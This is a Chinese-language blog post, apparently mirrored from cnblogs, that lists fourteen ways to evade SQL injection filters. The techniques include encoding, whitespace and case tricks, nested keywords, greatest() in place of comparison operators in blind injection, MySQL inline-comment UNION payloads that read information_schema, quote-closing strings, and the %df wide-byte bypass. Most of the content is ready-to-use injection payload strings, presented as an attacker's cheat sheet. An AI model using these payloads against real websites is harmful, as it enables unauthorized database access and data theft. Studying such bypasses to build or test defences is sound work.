zoukankan      html  css  js  c++  java
  • sql注入总结

    各种方法综合使用,自己思考

    1、用url编码,ascii码,十六进制形式绕过

    2、空格绕过:/**/,0,(),<>,%09 TAB键(水平)%0a 新建一行%0c 新的一页%0d return功能%0b TAB键(垂直)%a0 空格

    3、用大小写绕过,sEleCt,这样类似的

    4、运用重叠拆解:selecselectt,中间的select被过滤后,剩下的就是select

    5、逗号绕过

    在使用盲注的时候,需要使用到substr() ,mid() ,limit。这些子句方法都需要使用到逗号。 对于substr()mid()这两个方法可以使用from to的方式来解决。

    select substr(database(0 from 1 for 1);

    select mid(database(0 from 1 for 1);

    对于limit可以使用offset来绕过。

    select * from news limit 0,1

    # 等价于下面这条SQL语句

    select * from news limit 1 offset 0

    6比较符(<,>)绕过

    同样是在使用盲注的时候,在使用二分查找的时候需要使用到比较操作符来进行查找。 如果无法使用比较操作符,那么就需要使用到greatest来进行绕过了。

    最常见的一个盲注的sql语句。

      select * from users where id=1 and ascii(substr(database(),0,1))>64

      此时如果比较操作符被过滤,上面的盲注语句则无法使用,那么就可以使用greatest 代替比较操作符了。greatest(n1,n2,n3,)函数返回输入参数(n1,n2,n3,)的最大值。

    那么上面的这条sql语句可以使用greatest变为如下的子句:

     select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64

    7、利用注释绕过:/*select*/

    8、利用对xss<过滤进行绕过:sel<ect,联想就是看它会过滤哪些特殊符号,关键字,然后 中间插入这些符号。

    9、用||&&,代替or,and

    10.绕过注释符号(#--(后面跟一个空格))过滤:

    id=1' union select 1,2,3||'1

      最后的or '1闭合查询语句的最后的单引号,或者:

    id=1' union select 1,2,'3

    11、=绕过:使用like rlike regexp 或者 使用< 或者 >

    12、内联注释绕过:id=-1'/*!UnIoN*/ SeLeCT 1,2,concat(/*!table_name*/) FrOM /*information_schema*/.tables /*!WHERE *//*!TaBlE_ScHeMa*/ like database()#

    13、宽字节绕过:%df

    14、绕过逗号过滤:limit可以通过 offset 绕过逗号过滤

    语句1:select * from student limit 9,4
    语句2:slect * from student limit 4 offset 9
    // 语句1和2均返回表student的第10、11、12、13行  
    //语句2中的4表示返回4行,9表示从表的第十行开始

  • 相关阅读:
    VB.NET导出excel并支持中文文件名 中文编码
    后台弹框。刷新不提示确认VB或.NET
    VB.NET读取保存项目中相对路径的XML
    禁止删除表里所有数据
    验证视图状态 MAC 失败的解决办法
    Flash OBJECT IIS7.0上传文件限制的解决方法
    jquery导航菜单上下都行,可以上弹也可以下拉,方便配置使用
    android开发环境之ADT安装,卸载,更新 ADT在线代理网址
    原创 C# 正则表达式 读写 Ini 文件
    原创C# 枚举 多状态 操作
  • 原文地址:https://www.cnblogs.com/GH-D/p/8289111.html
Copyright © 2011-2022 走看看